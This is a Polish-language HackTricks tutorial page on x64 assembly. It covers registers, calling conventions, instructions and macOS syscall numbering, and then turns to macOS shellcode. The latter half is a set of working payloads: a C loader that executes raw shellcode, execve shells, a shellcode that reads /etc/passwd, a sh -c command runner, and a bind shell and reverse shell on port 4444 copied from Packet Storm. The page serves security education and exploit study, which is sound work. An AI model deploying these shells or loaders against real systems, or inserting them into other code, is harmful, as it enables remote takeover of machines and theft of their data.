Polish - Ht
HackTricks Training Twitter Linkedin Sponsor

Introduction to x64

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie do x64

x64, znany również jako x86-64, to architektura procesora 64-bitowa powszechnie używana w komputerach stacjonarnych i serwerach. Wywodząca się z architektury x86 opracowanej przez Intel, a później przyjęta przez AMD pod nazwą AMD64, jest dominującą architekturą w komputerach osobistych i serwerach obecnie.

Rejestry

x64 rozwija architekturę x86, oferując 16 rejestrów ogólnego przeznaczenia oznaczonych jako rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi oraz r8 do r15. Każdy z nich może przechowywać wartość 64-bitową (8 bajtów). Rejestry te posiadają również podrejestry 32-bitowe, 16-bitowe i 8-bitowe dla kompatybilności i określonych zadań.

  1. rax - Tradycyjnie używany do wartości zwracanych z funkcji.

  2. rbx - Często używany jako rejestr bazowy do operacji na pamięci.

  3. rcx - Zwykle używany jako licznik pętli.

  4. rdx - Używany w różnych rolach, w tym w operacjach arytmetycznych.

  5. rbp - Wskaźnik bazowy dla ramki stosu.

  6. rsp - Wskaźnik stosu, śledzący górę stosu.

  7. rsi i rdi - Używane jako indeksy źródła i celu w operacjach na łańcuchach/pamięci.

  8. r8 do r15 - Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.

Konwencja wywoływania

Konwencja wywoływania x64 różni się między systemami operacyjnymi. Na przykład:

  • Windows: Pierwsze cztery parametry są przekazywane w rejestrach rcx, rdx, r8 i r9. Kolejne parametry są umieszczane na stosie. Wartość zwracana znajduje się w rax.

  • System V (często używany w systemach przypominających UNIX): Pierwsze sześć parametrów całkowitoliczbowych lub wskaźnikowych jest przekazywanych w rejestrach rdi, rsi, rdx, rcx, r8 i r9. Wartość zwracana również znajduje się w rax.

Jeśli funkcja ma więcej niż sześć wejść, reszta zostanie przekazana na stos. RSP, wskaźnik stosu, musi być wyrównany do 16 bajtów, co oznacza, że adres, do którego wskazuje, musi być podzielny przez 16 przed jakimkolwiek wywołaniem. Oznacza to, że zazwyczaj musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym kodzie shellcode przed wykonaniem wywołania funkcji. Jednak w praktyce wywołania systemowe działają wiele razy nawet jeśli to wymaganie nie jest spełnione.

Konwencja wywoływania w Swift

Swift ma swoją własną konwencję wywoływania, którą można znaleźć pod adresem https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Powszechne instrukcje

Instrukcje x64 posiadają bogaty zestaw, zachowując kompatybilność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.

  • mov: Przenosi wartość z jednego rejestru lub lokalizacji pamięci do drugiego.

  • Przykład: mov rax, rbx — Przenosi wartość z rbx do rax.

  • push i pop: Wstawia lub pobiera wartości z/do stosu.

  • Przykład: push rax — Wstawia wartość z rax na stos.

  • Przykład: pop rax — Pobiera najwyższą wartość ze stosu do rax.

  • add i sub: Operacje dodawania i odejmowania.

  • Przykład: add rax, rcx — Dodaje wartości w rax i rcx, przechowując wynik w rax.

  • mul i div: Operacje mnożenia i dzielenia. Uwaga: mają one określone zachowania dotyczące używania operandów.

  • call i ret: Używane do wywoływania i powrotu z funkcji.

  • int: Używane do wywołania oprogramowania przerwania. Na przykład int 0x80 było używane do wywołań systemowych w 32-bitowym x86 Linuxie.

  • cmp: Porównuje dwie wartości i ustawia flagi CPU na podstawie wyniku.

  • Przykład: cmp rax, rdx — Porównuje rax z rdx.

  • je, jne, jl, jge, ...: Instrukcje skoku warunkowego, które zmieniają przepływ sterowania na podstawie wyników poprzedniego cmp lub testu.

  • Przykład: Po instrukcji cmp rax, rdx, je label — Skacze do label, jeśli rax jest równy rdx.

  • syscall: Używane do wywołań systemowych w niektórych systemach x64 (np. nowoczesne Unixy).

  • sysenter: Zoptymalizowana instrukcja wywołania systemowego na niektórych platformach.

Prolog Funkcji

  1. Wstaw stary wskaźnik bazowy: push rbp (zapisuje wskaźnik bazowy wywołującego)

  2. Przenieś bieżący wskaźnik stosu do wskaźnika bazowego: mov rbp, rsp (ustawia nowy wskaźnik bazowy dla bieżącej funkcji)

  3. Zaalokuj miejsce na stosie dla zmiennych lokalnych: sub rsp, <rozmiar> (gdzie <rozmiar> to liczba potrzebnych bajtów)

Epilog Funkcji

  1. Przenieś bieżący wskaźnik bazowy do wskaźnika stosu: mov rsp, rbp (dezalokuje zmienne lokalne)

  2. Wyjmij stary wskaźnik bazowy ze stosu: pop rbp (przywraca wskaźnik bazowy wywołującego)

  3. Powrót: ret (zwraca kontrolę do wywołującego)

macOS

wywołania systemowe

Istnieją różne klasy wywołań systemowych, możesz je znaleźć tutaj:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Następnie, możesz znaleźć numer każdego syscalla pod tym adresem:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Więc aby wywołać syscall open (5) z klasy Unix/BSD, musisz dodać: 0x2000000

Więc numer syscalla do wywołania open to 0x2000005

Shellkody

Aby skompilować:

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

Aby wyodrębnić bajty:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
Kod C do przetestowania shellcode'u

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Powłoka

Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wykładane.

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='Shell z adr'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

Odczyt za pomocą polecenia cat

Celem jest wykonanie execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), dlatego drugi argument (x1) to tablica parametrów (które w pamięci oznaczają stos adresów).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Wywołaj polecenie za pomocą sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Powłoka powiązana

Powłoka powiązana z https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na porcie 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Odwrócony Shell

Odwrócony shell dostępny pod adresem https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Odwrócony shell do 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

PreviousmacOS Apps - Inspecting, debugging and FuzzingNextIntroduction to ARM64v8

Last updated